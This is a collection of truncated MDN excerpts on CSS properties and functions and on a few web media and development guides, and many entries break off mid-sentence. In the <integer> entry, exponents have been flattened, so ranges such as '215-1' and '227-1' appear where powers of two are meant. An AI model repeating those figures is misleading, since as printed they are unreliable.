tion angle, the center of the gradient, and then specifying a list of color-stops. unlike linear and radial gradients, whose color-stops are placed by specifying a length, the color-stops of a conic gradient are specified with an angle. units include deg for degrees, grad for gradients, rad for radians, and turn for turns. there are 360 degrees, 400 gradians, 2π radians, and 1 turn in a circle. browsers supporting conic gradients also accept percent values, with 100% equaling 360 degrees, but this is not in the specification. similar to radial gradients, the conic gradient syntax provides for positioning the center of the gradient anywhere within, or even outside, the image. the values for the position are similar to the syntax for 2-value background-position. the gradient arc is the circum...
...white quadrant and lower left and upper right black quadrants, then repeating the gradient 16 times (four times across and four times down) you can make a checkerboard. conic-gradient(#fff 90deg, #000 0.25turn 0.5turn, #fff 1rad 1.5rad, #000 300grad); background-size: 25% 25%; and, yes, you can mix and match different angle units, but don't. the above is hard to read. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. while it is possible to create pie charts, checkerboards, and other effects with conic gradients, css images provide no native way to assign alternative text, and therefo...
cross-fade() - CSS: Cascading Style Sheets
e */ cross-fade( url(red.png) 33.33%, url(yellow.png) 33.33%, url(blue.png) 33.33%); older, implemented syntax cross-fade( <image, <image>, <percentage> ) the specification for the cross-fade() function allows for multiple images and for each image to have transparency values independent of the other values. this was not always the case. the original syntax, which has been implemented in some browsers, only allowed for two images, with the sum of the transparency of those two images being exactly 100%. the original syntax is supported in safari and supported with the -webkit- prefix in chrome, opera, and other blink-based browsers. cross-fade(url(white.png), url(black.png), 0%); /* fully black */ cross-fade(url(white.png), url(black.png), 25%); /* 25% white, 75% black */ cross-fade(url(...
...dates the value. the percent is the opacity of the first declared image. the included percentage is subtracted from 100%, with the difference being the opacity of the second image. the green/red example (with the percentages totalling 150%) and the yellow/red/blue example (with three images) from the specification syntax section, are not possible in this implementation. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. when using background im...
direction - CSS: Cascading Style Sheets
Web › CSS › direction
ock-level elements and the direction of embeddings created by the unicode-bidi property. it also sets the default alignment of text, block-level elements, and the direction that cells flow within a table row. unlike the dir attribute in html, the direction property is not inherited from table columns into table cells, since css inheritance follows the document tree, and table cells are inside of rows but not inside of columns. the direction and unicode-bidi properties are the two only properties which are not affected by the all shorthand property. syntax /* keyword values */ direction: ltr; direction: rtl; /* global values */ direction: inherit; direction: initial; direction: unset; values ltr text and other elements go from left to right. this is the default value. rtl text and ...
...ting right-to-left direction blockquote { direction: rtl; } specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification. proposed recommendation no change. css level 2 (revision 1)the definition of 'direction' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectionchrome ...
<display-box> - CSS: Cascading Style Sheets
oduce a specific box by themselves. they are replaced by their pseudo-box and their child boxes. please note that the css display level 3 spec defines how the contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts such as replaced elements. see appendix b: effects of display: contents on unusual elements for more details. due to a bug in browsers this will currently remove the element from the accessibility tree — screen readers will not look at what's inside. see the accessibility concerns section below for more details. none turns off the display of an element so that it has no effect on layout (the document is rendered as though the element did not exist). all descendant elements also have their display turned off. to have an e...
... turns off the display of an element so that it has no effect on layout (the document is rendered as though the element did not exist). all descendant elements also have their display turned off. to have an element take up the space that it would normally take, but without actually rendering anything, use the visibility property instead. accessibility concerns current implementations in most browsers will remove from the accessibility tree any element with a display value of contents. this will cause the element — and in some browser versions, its descendant elements — to no longer be announced by screen reading technology. this is incorrect behavior according to the csswg specification. more accessible markup with display: contents | hidde de vries display: contents is not a css r...
element() - CSS: Cascading Style Sheets
Web › CSS › element
the element() css function defines an <image> value generated from an arbitrary html element. this image is live, meaning that if the html element is changed, the css properties using the resulting value are automatically updated. a particularly useful scenario for using this would be to render an image in an html <canvas> element, then use that as a background. on gecko browsers, you can use the non-standard document.mozsetimageelement() method to change the element being used as the background for a given css background element. syntax element(id) where: id the id of an element to use as the background, specified using the html attribute #id on the element. examples these examples can be viewed live in builds of firefox that support -moz-element(). a somewhat realisti...
...oz-element(#mybackground2);"> </div> <div style="overflow:hidden; height:0;"> <button id="mybackground2" type="button">evil button!</button> </div> specifications specification status comment css images module level 4the definition of 'using elements as images: the element() notation' in that specification. working draft deferred from css3 images. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement() experimentalch...
float - CSS: Cascading Style Sheets
Web › CSS › float
this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascript, as seen in the need to escape "class" as "classname" and escape <label>'s "for...
...this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascript, as seen in the need to escape "class" as "classname" and escape <label>'s "for" as "htmlfor"). syntax /* keyword ...
font-family - CSS: Cascading Style Sheets
zed list of one or more font family names and/or generic family names for the selected element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. values are separated by commas to indicate that they are alternatives. ...
... the font-family property specifies a list of fonts, from highest priority to lowest. font selection does not simply stop at the first font in the list that is on the user's system. rather, font selection is done one character at a time, so that if an available font does not have a glyph for a needed character, the latter fonts are tried. ...
font-language-override - CSS: Cascading Style Sheets
e use of language-specific glyphs in a typeface. /* keyword value */ font-language-override: normal; /* <string> values */ font-language-override: "eng"; /* use english glyphs */ font-language-override: "trk"; /* use turkish glyphs */ /* global values */ font-language-override: initial; font-language-override: inherit; font-language-override: unset; by default, html's lang attribute tells browsers to display glyphs designed specifically for that language. for example, a lot of fonts have a special character for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would incorrectly ...
...or a specific language. this is useful, for example, when the typeface you're using lacks proper support for the language. for instance, if a typeface doesn't have proper rules for the azeri language, you can force the font to use turkish glyphs, which follow similar rules. syntax the font-language-override property is specified as the keyword normal or a <string>. values normal tells the browser to use font glyphs that are appropriate for the language specified by the lang attribute. this is the default value. <string> tells the browser to use font glyphs that are appropriate for the language specified by the string. the string must match a language tag found in the opentype language system. for example, "eng" is english, and "kor" is korean. formal definition initial valuenormala...
font-smooth - CSS: Cascading Style Sheets
the font-smooth css property controls the application of anti-aliasing when fonts are rendered. syntax /* keyword values */ font-smooth: auto; font-smooth: never; font-smooth: always; /* <length> value */ font-smooth: 2em; webkit implements a similar property, but with different values: -webkit-font-smoothing. it only works on mac os x/macos. auto - let the browser decide (uses subpixel anti-aliasing when available; this is the default) none - turn font smoothing off; display text with jagged sharp edges. antialiased - smooth the font on the level of the pixel, as opposed to the subpixel. switching from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter. subpixel-antialiased - on most non-retina displays, this will give the sharpe...
... on the level of the pixel, as opposed to the subpixel. switching from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter. subpixel-antialiased - on most non-retina displays, this will give the sharpest text. firefox implements a similar property, but with different values: -moz-osx-font-smoothing. it only works on mac os x/macos. auto - allow the browser to select an optimization for font smoothing, typically grayscale. grayscale - render text with grayscale antialiasing, as opposed to the subpixel. switching from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter. formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax au...
font-style - CSS: Cascading Style Sheets
, one classified as italic is used instead. if neither is available, the style is artificially simulated. oblique <angle> selects a font classified as oblique, and additionally specifies an angle for the slant of the text. if one or more oblique faces are available in the chosen font family, the one that most closely matches the specified angle is chosen. if no oblique faces are available, the browser will synthesize an oblique version of the font by slanting a normal face by the specified amount. valid values are degree values of -90deg to 90deg inclusive. if an angle is not specified, an angle of 14 degrees is used. positive values are slanted to the end of the line, while negative values are slanted towards the beginning. in general, for a requested angle of 14 degrees or greater, larg...
...l over the degree to which an oblique face is slanted. you can select this using the <angle> modifier for the oblique keyword. for truetype or opentype variable fonts, the "slnt" variation is used to implement varying slant angles for oblique, and the "ital" variation with a value of 1 is used to implement italic values. see font-variation-settings. for the example below to work, you'll need a browser that supports the css fonts level 4 syntax in which font-style: oblique can accept an <angle>. html <header> <input type="range" id="slant" name="slant" min="-90" max="90" /> <label for="slant">slant</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holbo...
font-synthesis - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax this property can take any one of the following forms: the keyword value none. either of the keyword values weight and style. both the keyword values weight and style. values none indicates that neither bold nor italic typeface may be synthesized. weight indicates that a bold typeface may be synthesized if needed. ...
...yle indicates that an italic typeface may be synthesized if needed. description most standard western fonts include italic and bold variants, but many novelty fonts do not. fonts used for chinese, japanese, korean and other logographic scripts tend not to include these variants, and synthesizing them may impede the legibility of the text. in these cases, it may be desirable to switch off the browser's default font-synthesis. formal definition initial valueweight styleapplies toall elements. it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ weight | style ] examples disabling font synthesis html <em class="syn">synthesize me! 站直。</em> <br/> <em class="no-syn">don't synthesize me! 站直。</em...
font-variant-caps - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. when a given font includes capital letter glyphs of multiple different sizes, this property selects the most appropriate ones. if petite capital glyphs are not available, they are rendered using small capital glyphs. if these are not present, the browser synthesizes them from the uppercase glyphs. fonts sometimes include special glyphs for various caseless characters (such as punctuation marks) to better match the capitalized characters around them. however, small capital glyphs are never synthesized for caseless characters. language-specific rules this property accounts for language-specific case mapping rules. for example: in turkic lan...
...refox rocks, normal caps!</p> css .small-caps { font-variant-caps: small-caps; font-style: italic; } .normal { font-variant-caps: normal; font-style: italic; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-caps' in that specification. candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-capschrome ...
<gradient> - CSS: Cascading Style Sheets
Web › CSS › gradient
ctions. conic gradient conic gradients transition colors progressively around a circle. they are generated with the conic-gradient() function. interpolation as with any interpolation involving colors, gradients are calculated in the alpha-premultiplied color space. this prevents unexpected shades of gray from appearing when both the color and the opacity are changing. (be aware that older browsers may not use this behavior when using the transparent keyword.) examples linear gradient example a simple linear gradient. <div class="linear-gradient">linear gradient</div> div { width: 240px; height: 80px; } .linear-gradient { background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); } radial gradient example a simple radial gradient. ...
...ent</div> div { width: 240px; height: 80px; } .linear-repeat { background: repeating-linear-gradient(to top left, lightpink, lightpink 5px, white 5px, white 10px); } .radial-repeat { background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px); } conic gradient example a simple conic gradient example. note that this isn't supported widely across browser as of yet. <div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient { background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification. working draft adds conic-gradient css i...
grid-template-areas - CSS: Cascading Style Sheets
emplate-areas: "a b b" "a c d"; /* global values */ grid-template-areas: inherit; grid-template-areas: initial; grid-template-areas: unset; values none the grid container doesn’t define any named grid areas. <string>+ a row is created for every separate string listed, and a column is created for each cell in the string. multiple named cell tokens within and between rows create a single named grid area that spans the corresponding grid cells. unless those cells form a rectangle, the declaration is invalid. formal definition initial valuenoneapplies togrid containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | <string>+ examples specifying named grid areas html <section id="page"> <header>header</header> <nav>naviga...
...ete formal syntax none | <string>+ examples specifying named grid areas html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head; background-color: #8ca0ff; } #page > nav { grid-area: nav; background-color: #ffa08c; } #page > main { grid-area: main; background-color: #ffff64; } #page > footer { grid-area: foot; background-color: #8cffa0; } result specifications specification status comment ...
<image> - CSS: Cascading Style Sheets
Web › CSS › image
d-size; and (3) its default size, determined by the kind of property the image is used with: kind of object (css property) default object size background-image the size of the element's background positioning area list-style-image the size of a 1em character border-image-source the size of the element's border image area cursor the browser-defined size matching the usual cursor size on the client's system mask-image ? shape-outside ? mask-border-source ? symbols for @counter-style at risk feature. if supported, the browser-defined size matching the usual cursor size on the client's system content for a pseudo-element (::after/::before) a 300px × 150px rectangle t...
...dth nor the height, the concrete object size is calculated so that it matches the intrinsic aspect ratio of the image but without exceeding the default object size in any dimension. if the image has no intrinsic aspect ratio, the intrinsic aspect ratio of the object it applies to is used; if this object has none, the missing width or height are taken from the default object size. note: not all browsers support every type of image on every property. see the browser compatibility section for details. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information crit...
<integer> - CSS: Cascading Style Sheets
Web › CSS › integer
erties, such as column-count, counter-increment, grid-column, grid-row, and z-index. syntax the <integer> data type consists of one or several decimal digits, 0 through 9 inclusive, optionally preceded by a single + or - sign. there is no unit associated with integers. note: there is no official range of valid <integer> values. opera 12.1 supports values up to 215-1, ie up to 220-1, and other browsers even higher. during the css3 values cycle there was a lot of discussion about setting a minimum range to support: the latest decision, in april 2012 during the lc phase, was [-227-1; 227-1], but other values like 224-1 and 230-1 were also proposed. however, the latest spec doesn't specify a range anymore. interpolation when animated, values of the <integer> data type are interpolated using d...
... css values and units module level 3the definition of '<integer>' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of '<integer>' in that specification. recommendation explicit definition. css level 1the definition of '<integer>' in that specification. recommendation implicit definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<integer>chrome ...
list-style-type - CSS: Cascading Style Sheets
, 03, … 98, 99 lower-roman lowercase roman numerals e.g. i, ii, iii, iv, v… upper-roman uppercase roman numerals e.g. i, ii, iii, iv, v… lower-greek lowercase classical greek alpha, beta, gamma… e.g. α, β, γ… lower-alpha lower-latin lowercase ascii letters e.g. a, b, c, … z lower-latin is unsupported in ie7 and earlier see browser compatibility section. upper-alpha upper-latin uppercase ascii letters e.g. a, b, c, … z upper-latin is unsupported in ie7 and earlier arabic-indic -moz-arabic-indic example armenian traditional armenian numbering (ayb/ayp, ben/pen, gim/keem… bengali -moz-bengali example cambodian * example is a synonym for khmer cjk-ea...
... symbol indicating that a disclosure widget such as <details> is opened. disclosure-closed symbol indicating that a disclosure widget, like <details> is closed. non-standard extensions a few more predefined types are provided by mozilla (firefox), blink (chrome and opera) and webkit (safari) to support list types in other languages. see the compatibility table to check which browsers supports which extension. -moz-ethiopic-halehame example -moz-ethiopic-halehame-am example ethiopic-halehame-ti-er -moz-ethiopic-halehame-ti-er example ethiopic-halehame-ti-et -moz-ethiopic-halehame-ti-et example hangul -moz-hangul example example example hangul-consonant -moz-hangul-consonant example example example ...
max-height - CSS: Cascading Style Sheets
ge> value */ max-height: 75%; /* keyword values */ max-height: none; max-height: max-content; max-height: min-content; max-height: fit-content(20em); /* global values */ max-height: inherit; max-height: initial; max-height: unset; values <length> defines the max-height as an absolute value. <percentage> defines the max-height as a percentage of the containing block's height. auto the browser will calculate and select a max-height for the specified element. none no limit on the size of the box. max-content the intrinsic preferred max-height. min-content the intrinsic minimum max-height. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). accessibility ...
...zing module level 4the definition of 'max-height' in that specification. editor's draft css box sizing module level 3the definition of 'max-height' in that specification. working draft adds the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'max-height' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-heightchrome ...
minmax() - CSS: Cascading Style Sheets
Web › CSS › minmax
ent. as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. ...
... largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. ...
outline - CSS: Cascading Style Sheets
Web › CSS › outline
values */ outline: inherit; outline: initial; outline: unset; the outline property may be specified using one, two, or three of the values listed below. the order of the values does not matter. note: the outline will be invisible for many elements if its style is not defined. this is because the style defaults to none. a notable exception is input elements, which are given default styling by browsers. values <'outline-color'> sets the color of the outline. defaults to currentcolor if absent. see outline-color. <'outline-style'> sets the style of the outline. defaults to none if absent. see outline-style. <'outline-width'> sets the thickness of the outline. defaults to medium if absent. see outline-width. description borders and outlines are very similar. however, outlines diff...
...tlines differ from borders in the following ways: outlines never take up space, as they are drawn outside of an element's content. according to the spec, outlines don't have to be rectangular, although they usually are. as with all shorthand properties, any omitted sub-values will be set to their initial value. accessibility concerns assigning outline a value of 0 or none will remove the browser's default focus style. if an element can be interacted with it must have a visible focus indicator. provide obvious focus styling if the default focus style is removed. how to design useful and usable focus indicators wcag 2.1: understanding success criterion 2.4.7: focus visible formal definition initial valueas each of the properties of the shorthand:outline-color: invert, for bro...
overscroll-behavior - CSS: Cascading Style Sheets
the overscroll-behavior css property sets what a browser does when reaching the boundary of a scrolling area. it's a shorthand for overscroll-behavior-x and overscroll-behavior-y. /* keyword values */ overscroll-behavior: auto; /* default */ overscroll-behavior: contain; overscroll-behavior: none; /* two values */ overscroll-behavior: auto contain; /* global values */ overscroll-behavior: inherit; overscroll-behavior: initial; overscroll-behavior: unset; by default, mobile browsers tend to provide a "bounce" effect or even a page refresh when the top or bottom of a page (or other scroll area) is reached. you may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying p...
...area) is reached. you may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining. in some cases these behaviors are not desirable. you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's facebook/twitter app-inspired "pull to refresh"-type behavior. syntax the overscroll-behavior property is specified as one or two keywords chosen from the list of values below. two keywords specifies the overscroll-behavior value on the x and y axes respectively. if only one value is specified, both x and y are assumed to have the same value. values auto the default scroll overflow b...
page-break-after - CSS: Cascading Style Sheets
eft-to-right, then this acts like right. if pages progress right-to-left, then this acts like left. verso if pages progress left-to-right, then this acts like left. if pages progress right-to-left, then this acts like right. page break aliases the page-break-after property is now a legacy property, replaced by break-after. for compatibility reasons, page-break-after should be treated by browsers as an alias of break-after. this ensures that sites using page-break-after continue to work as designed. a subset of values should be aliased as follows: page-break-after break-after auto auto left left right right avoid avoid always page formal definition initial valueautoapplies toblock-level elements in the...
...ecifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification. editor's draft adds the values recto and verso. css paged media module level 3the definition of 'page-break-after' in that specification. working draft extends the element that this property applies to table rows and table row groups. css level 2 (revision 1)the definition of 'page-break-after' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobil...
page-break-before - CSS: Cascading Style Sheets
t-to-right, then this acts like right. if pages progress right-to-left, then this acts like left. verso if pages progress left-to-right, then this acts like left. if pages progress right-to-left, then this acts like right. page break aliases the page-break-before property is now a legacy property, replaced by break-before. for compatibility reasons, page-break-before should be treated by browsers as an alias of break-before. this ensures that sites using page-break-before continue to work as designed. a subset of values should be aliased as follows: page-break-before break-before auto auto left left right right avoid avoid always page formal definition initial valueautoapplies toblock-level elements in...
...cifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification. editor's draft adds the values recto and verso. css paged media module level 3the definition of 'page-break-before' in that specification. working draft extends the element that this property applies to table rows and table row groups. css level 2 (revision 1)the definition of 'page-break-before' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobi...
repeat() - CSS: Cascading Style Sheets
Web › CSS › repeat
the repeat() css function represents a repeated fragment of the track list, allowing a large number of columns or rows that exhibit a recurring pattern to be written in a more compact form. this function can be used in the css grid properties grid-template-columns and grid-template-rows. /* <track-repeat> values */ repeat(4, 1fr) repeat(4, [col-start] 250px [col-end]) repeat(4, [col-start] 60% [col-end]) repeat(4, [col-start] 1fr [col-end]) repeat(4, [col-start] min-content [col-end]) repeat(4, [col-start] max-content [col-end]) repeat(4, [col-start] auto [col-end]) repeat(4, [col-start] minmax(100px, 1fr) [col-end]) repeat(4, [col-start] fit-content(200px) [col-end]) repeat(4, 10px [col-start] 30% [col-middle] auto [col-end]) repeat(4, [col-start] min-content [col-middle] max-content [col-...
... by min-width/min-height) of the grid items occupying the grid track. auto-fill if the grid container has a definite or maximal size in the relevant axis, then the number of repetitions is the largest possible positive integer that does not cause the grid to overflow its grid container. treating each track as its maximal track sizing function (each independant value used to define grid-template-rows or grid-template-columns), if that is definite. otherwise, as its minimum track sizing function, and taking grid-gap into account. if any number of repetitions would overflow, then the repetition is 1. otherwise, if the grid container has a definite minimal size in the relevant axis, the number of repetitions is the smallest possible positive integer that fulfills that minimum requirement. otherw...
repeating-conic-gradient() - CSS: Cascading Style Sheets
radient is specified by indicating a rotation angle, the center of the gradient, and then specifying a list of color-stops. like non-repeating conic gradients, the color-stops of a repeating conic gradient are specified with an <angle>. units include deg for degrees, grad for gradients, rad for radians, and turn for turns. there are 360 degrees, 400 gradians, 2π radians, and 1 turn in a circle. browsers supporting repeating conic gradients also accept percent values, with 100% equaling 360 degrees, but this is not in the specification. radial and conic gradient syntax provides for positioning the center of the gradient anywhere within, or even outside, the image. the values for the position are similar to the syntax for 2-value background-position. the gradient arc is part of the circumfere...
...tion midpoint to any point between two color stops by adding a color hint, indicating where the middle of the color transition should be. if two or more color stops are at the same location, the transition will be a hard line between the first and last colors declared at that location. while you can mix and match different angle units, don't. it makes css hard to read. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. while it is possible to create pie charts, checkerboards, and other effects with conic gradients, css images provide no native way to assign alternative text, and therefo...
table-layout - CSS: Cascading Style Sheets
the table-layout css property sets the algorithm used to lay out <table> cells, rows, and columns. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */ table-layout: auto; table-layout: fixed; /* global values */ table-layout: inherit; table-layout: initial; table-layout: unset; values auto by default, most browsers use an automatic table layout algorithm. the widths of the table and its cells are adjusted to fit the content. ...
... under the "fixed" layout method, the entire table can be rendered once the first table row has been downloaded and analyzed. ...
text-decoration-thickness - CSS: Cascading Style Sheets
line, or overline. syntax /* single keyword */ text-decoration-thickness: auto; text-decoration-thickness: from-font; /* length */ text-decoration-thickness: 0.1em; text-decoration-thickness: 3px; /* percentage */ text-decoration-thickness: 10%; /* global values */ text-decoration-thickness: inherit; text-decoration-thickness: initial; text-decoration-thickness: unset; values auto the browser chooses an appropriate width for the text decoration line. from-font if the font file includes information about a preferred thickness, use that value. if the font file doesn't include this information, behave as if auto was set, with the browser choosing an appropriate thickness. <length> specifies the thickness of the text decoration line as a <length>, overriding the font file suggestion...
...s an appropriate width for the text decoration line. from-font if the font file includes information about a preferred thickness, use that value. if the font file doesn't include this information, behave as if auto was set, with the browser choosing an appropriate thickness. <length> specifies the thickness of the text decoration line as a <length>, overriding the font file suggestion or the browser default. <percentage> specifies the thickness of the text decoration line as a <percentage> of 1em in the current font. a percentage inherits as a relative value, and so therefore scales with changes in the font. the browser must use a minimum of 1 device pixel. for a given application of this property, the thickness is constant across the whole box it is applied to, even if there are child e...
width - CSS: Cascading Style Sheets
Web › CSS › width
); width: auto; /* global values */ width: inherit; width: initial; width: unset; the width property is specified as either: one of the following keyword values: min-content, max-content, fit-content, auto. a <length> or a <percentage>. values <length> defines the width as an absolute value. <percentage> defines the width as a percentage of the containing block's width. auto the browser will calculate and select a width for the specified element. max-content the intrinsic preferred width. min-content the intrinsic minimum width. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, <length-percentage>)). accessibility concerns ensure that elements set with a wid...
...gth-percentage>)). accessibility concerns ensure that elements set with a width aren't truncated and don't obscure other content when the page is zoomed to increase text size. ...
writing-mode - CSS: Cascading Style Sheets
or css, use horizontal-tb instead. tb deprecated except for svg1 documents. for css, use vertical-lr instead. tb-lr deprecated except for svg1 documents. for css, use vertical-lr instead. tb-rl deprecated except for svg1 documents. for css, use vertical-rl instead. formal definition initial valuehorizontal-tbapplies toall elements except table row groups, table column groups, table rows, and table columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax horizontal-tb | vertical-rl | vertical-lr | sideways-rl | sideways-lr examples using multiple writing modes this example demonstrates all of the writing modes, showing each with text in various languages. html the html is a <table> with each writing mode in a row with a column showing text in vario...
... candidate recommendation add sideways-lr and sideways-rl css writing modes module level 3the definition of 'writing-mode' in that specification. proposed recommendation initia...
Web Audio playbackRate explained - Developer guides
te control being changed. note: try out this example live, and try adjusting the playback rate control to see the effect. ...
...ck rate to which the media resets; for example, if we change the source of the video, or (in some browsers) when an ended event is generated. so defaultplaybackrate allows us to set the playback rate before playing the media, while playbackrate allows us to change it during media playback. there is also an event available called ratechange, which fires every time the playbackrate changes. browser support chrome 20+ ✔ firefox 20+ ✔ ie 9+ ✔ safari 6+ ✔ opera 15+ ✔ mobile chrome (android) ✖ mobile firefox 24+ ✔ ie mobile ✖ mobile safari 6+ (ios) ✔ opera mobile ✖ notes most browsers stop playing audio outside playbackrate bounds of 0.5 and 4, leaving the video playing silently. for most applications, it's recommended that you limit the range to between 0...
Media buffering, seeking, and time ranges - Developer guides
indication of which parts of the media can be played directly. we can find this point in the media using the following line of code: var seekableend = myaudio.seekable.end(myaudio.seekable.length - 1); note: myaudio.seekable.end(myaudio.seekable.length - 1) actually tells us the end point of the last time range that is seekable (not all seekable media). ...
... so let's build this. ...
Audio and video manipulation - Developer guides
this article provides a reference to explain what you need to do. video manipulation the ability to read the pixel values from each frame of a video can be very useful. ...
... frame.data[i * 4 + 1] = grey; frame.data[i * 4 + 2] = grey; } this.ctx1.putimagedata(frame, 0, 0); return; } }; once the page has loaded you can call processor.doload() result this is a pretty simple example showing how to manipulate video frames using a canvas. for efficiency, you should consider using requestanimationframe() instead of settimeout() when running on browsers that support it. note: due to potential security issues if your video is on a different domain than your code, you'll need to enable cors (cross origin resource sharing) on your video server. video and webgl webgl is a powerful api that uses canvas to draw hardware-accelerated 3d or 2d scenes. you can combine webgl and the <video> element to create video textures, which means you can put ...
Introduction to Web development - Developer guides
? basic structure of a web page — the doctype and document 'tree' fundamental html elements — structural, head, list, form elements and more, explained by category. html beginners tutorial — a tutorial and exercise that recap and take you through the basics you've learned above. html elements reference guide — a comprehensive guide to html elements with details on how browsers support them css getting started with css — an absolute beginners guide to css covers basic concepts and fundamentals css reference guide — a complete guide to css with details on the level of gecko/firefox support for each. the w3c introduction to styling with css — a brief guide to styling web pages for beginners. common css questions — common ques...
... resources w3c web education community group wiki covers web design, html and html5, css, javascript and accessibility. this is a good starting point for beginners wishing to learn web development fundamentals across a number of areas. sitepoint a reliable reference site for learning html, css and javascript which also mentions feature support across different browsers and known browser bugs. htmldog an excellent and comprehensive reference site on html and css for beginners. google's html, css, and javascript from the ground up these easily digestible video tutorials from google's expert web developers cover the basics of html, css and javascript. csstutorial.net beginner tutorials a broad range of useful text and video tutoria...
A hybrid approach - Developer guides
on to show the user the proper content. this keeps the complexity of altering content on the server side, but still allows our layouts to benefit from the flexibility and future-readiness of responsive design. using user-agent detection specifically for content and not layout also allows you to have a single url for each piece of content, so that the content can adapt its layout to the user’s browser. this is generally thought to be a good thing. instead of maintaining two completely different sites, we simply redirect users to pages for the content they care about. and since the design is responsive, you know that each page looks as good as possible on the user’s screen. we can also address some of the performance problems with responsive design by incorporating server-side techniques. ...
...ues is something that is always worth considering; there are so many options that one must just weigh the pros and cons of each individual technique employed. in many cases, the added complexity of the hybrid approach is not even necessary. for example, you may not even need to adjust your content based on what actual device a user is using — just knowing whether a feature is present on their browser is often good enough. this is something you might be able to discern on the client-side using javascript feature detection from modernizr or detect it. it can’t hurt to dig down and ask yourself which axis you are actually looking to adjust your content around. we’ve talked about incorporating server-side techniques into a responsive design, but there are even ways to use the hybrid appro...
Mobile-friendliness - Developer guides
